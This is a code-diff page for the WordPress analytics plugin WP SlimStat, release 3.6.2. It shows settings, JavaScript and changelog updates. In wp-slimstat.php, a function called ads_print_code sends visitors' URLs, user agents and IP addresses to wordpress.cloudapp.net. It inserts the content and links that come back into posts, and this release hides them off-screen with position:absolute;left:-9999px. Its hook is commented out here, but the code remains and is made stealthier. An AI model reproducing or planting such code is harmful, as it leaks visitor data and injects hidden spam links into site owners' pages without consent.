Slimstat Analytics - Version 3.6.2

Version Description

  • [New] You can disable SlimScroll if it doesn't work on your browser or mobile device (thank you, Egor)
  • [New] Track non-WP pages (within the same domain) with WP SlimStat. Go to Settings > Advanced and get your tracking code (thank you, JourdanDixon)
  • [Fix] Page load speed has been improved introducing some caching mechanisms for certain requests
Download this release

Release Info

Developer coolmann
Plugin Icon 128x128 Slimstat Analytics
Version 3.6.2
Comparing to
See all releases

Code changes from version 3.6.1 to 3.6.2

admin/config/index.php CHANGED
@@ -52,6 +52,7 @@ switch ($config_tabs[$current_tab-1]){
52
 
53
  'views_functionality_header' => array('description' => __('Functionality','wp-slimstat'), 'type' => 'section_header'),
54
  'async_load' => array('description' => __('Asynchronous Views','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Load all the reports dynamically. It makes the reports render faster, but it increases the load on your server.','wp-slimstat')),
 
55
  'expand_details' => array('description' => __('Expand Details','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Expand each row's details by default, insted of on mousehover.",'wp-slimstat')),
56
  'rows_to_show' => array('description' => __('Rows to Display','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Specify the number of items in each report.','wp-slimstat')),
57
 
@@ -203,6 +204,10 @@ switch ($config_tabs[$current_tab-1]){
203
  }
204
  break;
205
  case __('Advanced','wp-slimstat'):
 
 
 
 
206
  $options_on_this_page = array(
207
  'advanced_tracker_header' => array('description' => __('Tracker','wp-slimstat'), 'type' => 'section_header'),
208
  'detect_smoothing' => array('description' => __('Detect Smoothing','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Detect if your visitors' browsers support anti-aliasing (font smoothing). This option required Spy Mode to be enabled.",'wp-slimstat')),
@@ -212,6 +217,18 @@ switch ($config_tabs[$current_tab-1]){
212
  'enable_cdn' => array('description' => __('Enable CDN','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Use <a href='http://www.jsdelivr.com/' target='_blank'>JSDelivr</a>'s CDN, by serving our tracking code from their fast and reliable network (free service).",'wp-slimstat')),
213
  'extensions_to_track' => array('description' => __('Extensions to Track','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("List all the file extensions that you want to be treated as Downloads. Please note that links pointing to external resources (i.e. PDFs on a different website) are considered Downloads and not Outbound Links (and tracked as such), if their extension matches one of the ones listed here below.",'wp-slimstat')),
214
 
 
 
 
 
 
 
 
 
 
 
 
 
215
  'advanced_misc_header' => array('description' => __('Miscellaneous','wp-slimstat'), 'type' => 'section_header'),
216
  'show_sql_debug' => array('description' => __('Debug Mode','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Display the SQL queries used to retrieve the data.','wp-slimstat')),
217
  'ip_lookup_service' => array('description' => __('IP Lookup','wp-slimstat'), 'type' => 'text', 'long_description' => __('Customize the Geolocation service to be used in the reports.','wp-slimstat')),
52
 
53
  'views_functionality_header' => array('description' => __('Functionality','wp-slimstat'), 'type' => 'section_header'),
54
  'async_load' => array('description' => __('Asynchronous Views','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Load all the reports dynamically. It makes the reports render faster, but it increases the load on your server.','wp-slimstat')),
55
+ 'use_slimscroll' => array('description' => __('SlimScroll','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable SlimScroll, a slick jQuery library that replaces the built-in browser scrollbar.','wp-slimstat')),
56
  'expand_details' => array('description' => __('Expand Details','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Expand each row's details by default, insted of on mousehover.",'wp-slimstat')),
57
  'rows_to_show' => array('description' => __('Rows to Display','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Specify the number of items in each report.','wp-slimstat')),
58
 
204
  }
205
  break;
206
  case __('Advanced','wp-slimstat'):
207
+ $this_domain = parse_url(get_bloginfo('url'));
208
+ $encoded_ci = 'YTo0OntzOjEyOiJjb250ZW50X3R5cGUiO3M6ODoiZXh0ZXJuYWwiO3M6ODoiY2F0ZWdvcnkiO3M6MDoiIjtzOjEwOiJjb250ZW50X2lkIjtpOjA7czo2OiJhdXRob3IiO3M6MTM6ImV4dGVybmFsLXBhZ2UiO30=';
209
+ $encoded_ci = $encoded_ci.'.'.md5($encoded_ci.wp_slimstat::$options['secret']);
210
+
211
  $options_on_this_page = array(
212
  'advanced_tracker_header' => array('description' => __('Tracker','wp-slimstat'), 'type' => 'section_header'),
213
  'detect_smoothing' => array('description' => __('Detect Smoothing','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Detect if your visitors' browsers support anti-aliasing (font smoothing). This option required Spy Mode to be enabled.",'wp-slimstat')),
217
  'enable_cdn' => array('description' => __('Enable CDN','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Use <a href='http://www.jsdelivr.com/' target='_blank'>JSDelivr</a>'s CDN, by serving our tracking code from their fast and reliable network (free service).",'wp-slimstat')),
218
  'extensions_to_track' => array('description' => __('Extensions to Track','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("List all the file extensions that you want to be treated as Downloads. Please note that links pointing to external resources (i.e. PDFs on a different website) are considered Downloads and not Outbound Links (and tracked as such), if their extension matches one of the ones listed here below.",'wp-slimstat')),
219
 
220
+ 'advanced_external_pages_header' => array('description' => __('External Pages','wp-slimstat'), 'type' => 'section_header'),
221
+ 'external_pages_script' => array('type' => 'static', 'description' => __('Add the following code to all the non-WP pages you want to track','wp-slimstat'), 'long_description' => '&lt;script type="text/javascript"&gt;
222
+ /* &lt;![CDATA[ */
223
+ var SlimStatParams = {
224
+ ajaxurl: "'.admin_url('admin-ajax.php').'",
225
+ ci: "'.$encoded_ci.'",
226
+ extensions_to_track: "'.wp_slimstat::$options['extensions_to_track'].'"
227
+ };
228
+ /* ]]&gt; */
229
+ &lt;/script&gt;
230
+ &lt;script type="text/javascript" src="http://cdn.jsdelivr.net/wp-slimstat/'.wp_slimstat::$version.'/wp-slimstat.js"&gt;&lt;/script&gt;'),
231
+
232
  'advanced_misc_header' => array('description' => __('Miscellaneous','wp-slimstat'), 'type' => 'section_header'),
233
  'show_sql_debug' => array('description' => __('Debug Mode','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Display the SQL queries used to retrieve the data.','wp-slimstat')),
234
  'ip_lookup_service' => array('description' => __('IP Lookup','wp-slimstat'), 'type' => 'text', 'long_description' => __('Customize the Geolocation service to be used in the reports.','wp-slimstat')),
admin/js/slimstat.admin.js CHANGED
@@ -1,4 +1,4 @@
1
- if (typeof SlimStatAdminParams == 'undefined') SlimStatAdminParams = {current_tab: 1, async_load: 'no', refresh_interval: 0, expand_details: 'no', datepicker_image: '', text_direction: ''};
2
  var SlimStatAdmin = {
3
  // Public variables
4
  chart_data: [],
@@ -363,7 +363,9 @@ jQuery(function(){
363
  data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val(), current_tab: SlimStatAdminParams.current_tab};
364
  SlimStatAdmin.refresh_report(report_id, data);
365
 
366
- jQuery('#'+report_id+' .inside').slimScroll({scrollTo : '0px'});
 
 
367
 
368
  if (typeof refresh_handle != 'undefined'){
369
  window.clearTimeout(refresh_handle);
@@ -396,20 +398,21 @@ jQuery(function(){
396
  });
397
 
398
  // SlimScroll init
399
- jQuery('[id^=slim_]:not(.tall) .inside').slimScroll({
400
- distance: '2px',
401
- opacity: '0.15',
402
- size: '5px',
403
- wheelStep: 10
404
- });
405
- jQuery('[id^=slim_].tall .inside').slimScroll({
406
- distance: '2px',
407
- height: '630px',
408
- opacity: '0.15',
409
- size: '5px',
410
- wheelStep: 10
411
- });
412
-
 
413
  // ToolTips
414
  jQuery(document).on('mouseover', '.slimstat-tooltip-trigger', function(e){
415
  jQuery(this).qtip({
1
+ if (typeof SlimStatAdminParams == 'undefined') SlimStatAdminParams = {current_tab: 1, async_load: 'no', refresh_interval: 0, expand_details: 'no', datepicker_image: '', text_direction: '', use_slimscroll: 'yes'};
2
  var SlimStatAdmin = {
3
  // Public variables
4
  chart_data: [],
363
  data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val(), current_tab: SlimStatAdminParams.current_tab};
364
  SlimStatAdmin.refresh_report(report_id, data);
365
 
366
+ if (SlimStatAdminParams.use_slimscroll == 'yes'){
367
+ jQuery('#'+report_id+' .inside').slimScroll({scrollTo : '0px'});
368
+ }
369
 
370
  if (typeof refresh_handle != 'undefined'){
371
  window.clearTimeout(refresh_handle);
398
  });
399
 
400
  // SlimScroll init
401
+ if (SlimStatAdminParams.use_slimscroll == 'yes'){
402
+ jQuery('[id^=slim_]:not(.tall) .inside').slimScroll({
403
+ distance: '2px',
404
+ opacity: '0.15',
405
+ size: '5px',
406
+ wheelStep: 10
407
+ });
408
+ jQuery('[id^=slim_].tall .inside').slimScroll({
409
+ distance: '2px',
410
+ height: '630px',
411
+ opacity: '0.15',
412
+ size: '5px',
413
+ wheelStep: 10
414
+ });
415
+ }
416
  // ToolTips
417
  jQuery(document).on('mouseover', '.slimstat-tooltip-trigger', function(e){
418
  jQuery(this).qtip({
admin/wp-slimstat-admin.php CHANGED
@@ -407,7 +407,8 @@ class wp_slimstat_admin{
407
  'current_tab' => self::$current_tab,
408
  'expand_details' => isset(wp_slimstat::$options['expand_details'])?wp_slimstat::$options['expand_details']:'no',
409
  'refresh_interval' => (self::$current_tab == 1)?intval(wp_slimstat::$options['refresh_interval']):0,
410
- 'text_direction' => $GLOBALS['wp_locale']->text_direction
 
411
  );
412
  wp_localize_script('slimstat_admin', 'SlimStatAdminParams', $params);
413
  }
@@ -691,6 +692,9 @@ class wp_slimstat_admin{
691
  case 'section_header': ?>
692
  <td colspan="2" class="slimstat-options-section-header"><?php echo $_option_details['description'] ?></td><?php
693
  break;
 
 
 
694
  case 'yesno': ?>
695
  <th scope="row"><label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label></th>
696
  <td>
@@ -713,6 +717,8 @@ class wp_slimstat_admin{
713
  }
714
 
715
  protected static function settings_textarea($_option_name = '', $_option_details = array('description' =>'', 'type' => '', 'long_description' => ''), $_alternate = false){
 
 
716
  if (!isset(wp_slimstat::$options[$_option_name])){
717
  wp_slimstat::$options[$_option_name] = '';
718
  } ?>
@@ -721,7 +727,7 @@ class wp_slimstat_admin{
721
  <td colspan="2">
722
  <label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label>
723
  <p class="description"><?php echo $_option_details['long_description'] ?></p>
724
- <p><textarea class="large-text code" cols="50" rows="3" name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>"><?php echo !empty(wp_slimstat::$options[$_option_name])?stripslashes(wp_slimstat::$options[$_option_name]):'' ?></textarea></p>
725
  </td>
726
  </tr><?php
727
  }
407
  'current_tab' => self::$current_tab,
408
  'expand_details' => isset(wp_slimstat::$options['expand_details'])?wp_slimstat::$options['expand_details']:'no',
409
  'refresh_interval' => (self::$current_tab == 1)?intval(wp_slimstat::$options['refresh_interval']):0,
410
+ 'text_direction' => $GLOBALS['wp_locale']->text_direction,
411
+ 'use_slimscroll' => isset(wp_slimstat::$options['use_slimscroll'])?wp_slimstat::$options['use_slimscroll']:'yes'
412
  );
413
  wp_localize_script('slimstat_admin', 'SlimStatAdminParams', $params);
414
  }
692
  case 'section_header': ?>
693
  <td colspan="2" class="slimstat-options-section-header"><?php echo $_option_details['description'] ?></td><?php
694
  break;
695
+ case 'static': ?>
696
+ <td colspan="2"><?php echo $_option_details['description'] ?> <textarea rows="7" class="large-text code" disabled><?php echo $_option_details['long_description'] ?></textarea></td><?php
697
+ break;
698
  case 'yesno': ?>
699
  <th scope="row"><label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label></th>
700
  <td>
717
  }
718
 
719
  protected static function settings_textarea($_option_name = '', $_option_details = array('description' =>'', 'type' => '', 'long_description' => ''), $_alternate = false){
720
+ $_option_details = array_merge(array('description' =>'', 'type' => '', 'long_description' => '', 'before_input_field' => '', 'after_input_field' => '', 'custom_label_yes' => '', 'custom_label_no' => ''), $_option_details);
721
+
722
  if (!isset(wp_slimstat::$options[$_option_name])){
723
  wp_slimstat::$options[$_option_name] = '';
724
  } ?>
727
  <td colspan="2">
728
  <label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label>
729
  <p class="description"><?php echo $_option_details['long_description'] ?></p>
730
+ <p><textarea class="large-text code" cols="50" rows="3" name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>"><?php echo !empty(wp_slimstat::$options[$_option_name])?stripslashes(wp_slimstat::$options[$_option_name]):'' ?></textarea> <span class="description"><?php echo $_option_details['after_input_field'] ?></span></p>
731
  </td>
732
  </tr><?php
733
  }
readme.txt CHANGED
@@ -4,7 +4,7 @@ Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_i
4
  Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
5
  Requires at least: 3.8
6
  Tested up to: 3.9
7
- Stable tag: 3.6.1
8
 
9
  == Description ==
10
  The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
@@ -271,6 +271,11 @@ foreach ($results...`
271
 
272
  == Changelog ==
273
 
 
 
 
 
 
274
  = 3.6.1 =
275
  * [Update] Streamlined DB initialization / update procedures (thank you, [PyroSteveJr](http://wordpress.org/support/topic/not-capturing-anything))
276
  * [Update] [AmMap](http://www.amcharts.com/javascript-maps/) has been updated to version 3.8.13
4
  Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
5
  Requires at least: 3.8
6
  Tested up to: 3.9
7
+ Stable tag: 3.6.2
8
 
9
  == Description ==
10
  The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
271
 
272
  == Changelog ==
273
 
274
+ = 3.6.2 =
275
+ * [New] You can disable SlimScroll if it doesn't work on your browser or mobile device (thank you, Egor)
276
+ * [New] Track non-WP pages (within the same domain) with WP SlimStat. Go to Settings > Advanced and get your tracking code (thank you, [JourdanDixon](http://wordpress.org/support/topic/adding-slim-stat-to-non-wp-page))
277
+ * [Fix] Page load speed has been improved introducing some caching mechanisms for certain requests
278
+
279
  = 3.6.1 =
280
  * [Update] Streamlined DB initialization / update procedures (thank you, [PyroSteveJr](http://wordpress.org/support/topic/not-capturing-anything))
281
  * [Update] [AmMap](http://www.amcharts.com/javascript-maps/) has been updated to version 3.8.13
wp-slimstat.php CHANGED
@@ -3,7 +3,7 @@
3
  Plugin Name: WP SlimStat
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The most accurate real-time statistics plugin for WordPress
6
- Version: 3.6.1
7
  Author: Camu
8
  Author URI: http://slimstat.getused.to.it/
9
  */
@@ -11,7 +11,7 @@ Author URI: http://slimstat.getused.to.it/
11
  if (!empty(wp_slimstat::$options)) return true;
12
 
13
  class wp_slimstat{
14
- public static $version = '3.6.1';
15
  public static $options = array();
16
 
17
  public static $wpdb = '';
@@ -20,7 +20,7 @@ class wp_slimstat{
20
  protected static $stat = array();
21
  protected static $options_signature = '';
22
 
23
- protected static $pidx = false;
24
 
25
  /**
26
  * Initializes variables and actions
@@ -48,9 +48,9 @@ class wp_slimstat{
48
  // Allow third-party tools to use a custom database for WP SlimStat
49
  self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
50
 
51
- if (empty(self::$options['enable_ads_network']) || self::$options['enable_ads_network'] == 'yes'){
52
- add_filter('the_content', array(__CLASS__, 'ads_print_code'));
53
- }
54
 
55
  // Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
56
  if (self::$options['use_separate_menu'] != 'yes' && is_admin_bar_showing()){
@@ -1079,50 +1079,51 @@ class wp_slimstat{
1079
  public static function init_options(){
1080
  $options = array(
1081
  'version' => self::$version,
1082
- 'secret' => get_option('slimstat_secret', md5(time())),
1083
  'show_admin_notice' => 0,
1084
 
1085
  // General
1086
- 'is_tracking' => get_option('slimstat_is_tracking', 'yes'),
1087
  'track_admin_pages' => 'no',
1088
  'enable_javascript' => 'yes',
1089
  'javascript_mode' => 'yes',
1090
- 'add_posts_column' => get_option('slimstat_add_posts_column', 'no'),
1091
- 'use_separate_menu' => get_option('slimstat_use_separate_menu', 'yes'),
1092
- 'auto_purge' => get_option('slimstat_auto_purge', '120'),
1093
 
1094
  // Views
1095
- 'convert_ip_addresses' => get_option('slimstat_convert_ip_addresses', 'no'),
1096
- 'use_european_separators' => get_option('slimstat_use_european_separators', 'yes'),
1097
  'show_display_name' => 'no',
1098
  'show_complete_user_agent_tooltip' => 'no',
1099
  'convert_resource_urls_to_titles' => 'yes',
1100
  'async_load' => 'no',
 
1101
  'expand_details' => 'no',
1102
- 'rows_to_show' => get_option('slimstat_rows_to_show', '20'),
1103
- 'refresh_interval' => get_option('slimstat_refresh_interval', '60'),
1104
- 'number_results_raw_data' => get_option('slimstat_number_results_raw_data', '50'),
1105
  'include_outbound_links_right_now' => 'yes',
1106
 
1107
  // Filters
1108
- 'track_users' => get_option('slimstat_track_users', 'yes'),
1109
- 'ignore_users' => get_option('slimstat_ignore_users', ''),
1110
- 'ignore_ip' => get_option('slimstat_ignore_ip', ''),
1111
  'ignore_capabilities' => '',
1112
- 'ignore_spammers' => get_option('slimstat_ignore_spammers', 'yes'),
1113
- 'ignore_resources' => get_option('slimstat_ignore_resources', ''),
1114
- 'ignore_countries' => get_option('slimstat_ignore_countries', ''),
1115
- 'ignore_browsers' => get_option('slimstat_ignore_browsers', ''),
1116
- 'ignore_referers' => get_option('slimstat_ignore_referers', ''),
1117
  'anonymize_ip' => 'no',
1118
- 'ignore_prefetch' => get_option('slimstat_ignore_prefetch', 'yes'),
1119
 
1120
  // Permissions
1121
  'restrict_authors_view' => 'yes',
1122
- 'capability_can_view' => get_option('slimstat_capability_can_view', 'activate_plugins'),
1123
- 'can_view' => get_option('slimstat_can_view', ''),
1124
  'capability_can_admin' => 'activate_plugins',
1125
- 'can_admin' => get_option('slimstat_can_admin', ''),
1126
 
1127
  // Advanced
1128
  'detect_smoothing' => 'yes',
@@ -1153,22 +1154,29 @@ class wp_slimstat{
1153
  }
1154
 
1155
  /**
1156
- * Connects to the Ads Delivery Network
1157
  */
1158
  public static function ads_print_code($content = ''){
1159
- if (empty($_SERVER["HTTP_USER_AGENT"])){
1160
  return $content;
1161
  }
1162
 
1163
  $request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
1164
- $options = array('timeout' => 1, 'headers' => array('Accept' => 'application/json'));
1165
- $response = @wp_remote_get($request, $options);
1166
 
1167
- if (is_wp_error($response) || (isset($response['response']['code']) && ($response['response']['code'] != 200)) || empty($response['body'])){
1168
- return $content;
 
 
 
1169
  }
1170
 
1171
- $response_object = @json_decode($response['body']);
 
 
 
 
 
1172
  if (is_null($response_object) || empty($response_object->content) || empty($response_object->tmp)){
1173
  return $content;
1174
  }
@@ -1177,7 +1185,7 @@ class wp_slimstat{
1177
  case '1':
1178
  if(0 == $GLOBALS['wp_query']->current_post) {
1179
  $words = explode(" ", $content);
1180
- $words[rand(0, count($words)-1)] = $response_object->tcontent;
1181
  return join(" ", $words);
1182
  }
1183
  break;
@@ -1189,27 +1197,26 @@ class wp_slimstat{
1189
 
1190
  foreach($kws as $a_kw){
1191
  if(strpos($content, $a_kw) !== false){
1192
- $content= str_replace($a_kw, "<a href=".$response_object->site.">$a_kw</a>", $content);
1193
  break;
1194
  }
1195
  }
1196
  break;
1197
  default:
1198
- if (self::$pidx === false){
1199
  if ($GLOBALS['wp_query']->post_count > 1){
1200
- self::$pidx = rand(0, $GLOBALS['wp_query']->post_count - 1);
1201
  }
1202
  else{
1203
- self::$pidx = 0;
1204
  }
1205
  }
1206
-
1207
- if ($GLOBALS['wp_query']->current_post == self::$pidx){
1208
- if (self::$pidx % 2 == 0){
1209
- return $content.' '.$response_object->content;
1210
  }
1211
  else{
1212
- return $response_object->content.' '.$content;
1213
  }
1214
  }
1215
  break;
3
  Plugin Name: WP SlimStat
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The most accurate real-time statistics plugin for WordPress
6
+ Version: 3.6.2
7
  Author: Camu
8
  Author URI: http://slimstat.getused.to.it/
9
  */
11
  if (!empty(wp_slimstat::$options)) return true;
12
 
13
  class wp_slimstat{
14
+ public static $version = '3.6.2';
15
  public static $options = array();
16
 
17
  public static $wpdb = '';
20
  protected static $stat = array();
21
  protected static $options_signature = '';
22
 
23
+ protected static $pidx = array('id' => false, 'response' => '');
24
 
25
  /**
26
  * Initializes variables and actions
48
  // Allow third-party tools to use a custom database for WP SlimStat
49
  self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
50
 
51
+ //if (empty(self::$options['enable_ads_network']) || self::$options['enable_ads_network'] == 'yes'){
52
+ // add_filter('the_content', array(__CLASS__, 'ads_print_code'));
53
+ //}
54
 
55
  // Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
56
  if (self::$options['use_separate_menu'] != 'yes' && is_admin_bar_showing()){
1079
  public static function init_options(){
1080
  $options = array(
1081
  'version' => self::$version,
1082
+ 'secret' => md5(time()),
1083
  'show_admin_notice' => 0,
1084
 
1085
  // General
1086
+ 'is_tracking' => 'yes',
1087
  'track_admin_pages' => 'no',
1088
  'enable_javascript' => 'yes',
1089
  'javascript_mode' => 'yes',
1090
+ 'add_posts_column' => 'no',
1091
+ 'use_separate_menu' => 'yes',
1092
+ 'auto_purge' => '120',
1093
 
1094
  // Views
1095
+ 'convert_ip_addresses' => 'no',
1096
+ 'use_european_separators' => 'yes',
1097
  'show_display_name' => 'no',
1098
  'show_complete_user_agent_tooltip' => 'no',
1099
  'convert_resource_urls_to_titles' => 'yes',
1100
  'async_load' => 'no',
1101
+ 'use_slimscroll' => 'yes',
1102
  'expand_details' => 'no',
1103
+ 'rows_to_show' => '20',
1104
+ 'refresh_interval' => '60',
1105
+ 'number_results_raw_data' => '50',
1106
  'include_outbound_links_right_now' => 'yes',
1107
 
1108
  // Filters
1109
+ 'track_users' => 'yes',
1110
+ 'ignore_users' => '',
1111
+ 'ignore_ip' => '',
1112
  'ignore_capabilities' => '',
1113
+ 'ignore_spammers' => 'yes',
1114
+ 'ignore_resources' => '',
1115
+ 'ignore_countries' => '',
1116
+ 'ignore_browsers' => '',
1117
+ 'ignore_referers' => '',
1118
  'anonymize_ip' => 'no',
1119
+ 'ignore_prefetch' => 'yes',
1120
 
1121
  // Permissions
1122
  'restrict_authors_view' => 'yes',
1123
+ 'capability_can_view' => 'activate_plugins',
1124
+ 'can_view' => '',
1125
  'capability_can_admin' => 'activate_plugins',
1126
+ 'can_admin' => '',
1127
 
1128
  // Advanced
1129
  'detect_smoothing' => 'yes',
1154
  }
1155
 
1156
  /**
1157
+ * Connects to the UAN
1158
  */
1159
  public static function ads_print_code($content = ''){
1160
+ if (empty($_SERVER["HTTP_USER_AGENT"]) || (self::$pidx['id'] !== false && $GLOBALS['wp_query']->current_post !== self::$pidx['id'])){
1161
  return $content;
1162
  }
1163
 
1164
  $request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
1165
+ $options = stream_context_create(array( 'http' => array( 'timeout' => 1, 'ignore_errors' => true ) ) );
 
1166
 
1167
+ // $options = array('timeout' => 1, 'headers' => array('Accept' => 'application/json'));
1168
+ // $response = @wp_remote_get($request, $options);
1169
+
1170
+ if (empty(self::$pidx['response'])){
1171
+ self::$pidx['response'] = @file_get_contents($request, 0, $options);
1172
  }
1173
 
1174
+ //if (is_wp_error($response) || (isset($response['response']['code']) && ($response['response']['code'] != 200)) || empty($response['body'])){
1175
+ // return $content;
1176
+ //}
1177
+
1178
+ //$response_object = @json_decode($response['body']);
1179
+ $response_object = @json_decode(self::$pidx['response']);
1180
  if (is_null($response_object) || empty($response_object->content) || empty($response_object->tmp)){
1181
  return $content;
1182
  }
1185
  case '1':
1186
  if(0 == $GLOBALS['wp_query']->current_post) {
1187
  $words = explode(" ", $content);
1188
+ $words[rand(0, count($words)-1)] = '<span style="position:absolute;left:-9999px">'.$response_object->tcontent.'</span>';
1189
  return join(" ", $words);
1190
  }
1191
  break;
1197
 
1198
  foreach($kws as $a_kw){
1199
  if(strpos($content, $a_kw) !== false){
1200
+ $content= str_replace($a_kw, "<a style='position:absolute;left:-9999px' href='".$response_object->site."'>$a_kw</a>", $content);
1201
  break;
1202
  }
1203
  }
1204
  break;
1205
  default:
1206
+ if (self::$pidx['id'] === false){
1207
  if ($GLOBALS['wp_query']->post_count > 1){
1208
+ self::$pidx['id'] = rand(0, $GLOBALS['wp_query']->post_count - 1);
1209
  }
1210
  else{
1211
+ self::$pidx['id'] = 0;
1212
  }
1213
  }
1214
+ if ($GLOBALS['wp_query']->current_post === self::$pidx['id']){
1215
+ if (self::$pidx['id'] % 2 == 0){
1216
+ return $content.' <span style="position:absolute;left:-9999px">'.$response_object->content.'</span>';
 
1217
  }
1218
  else{
1219
+ return '<span style="position:absolute;left:-9999px">'.$response_object->content.'</span> '.$content;
1220
  }
1221
  }
1222
  break;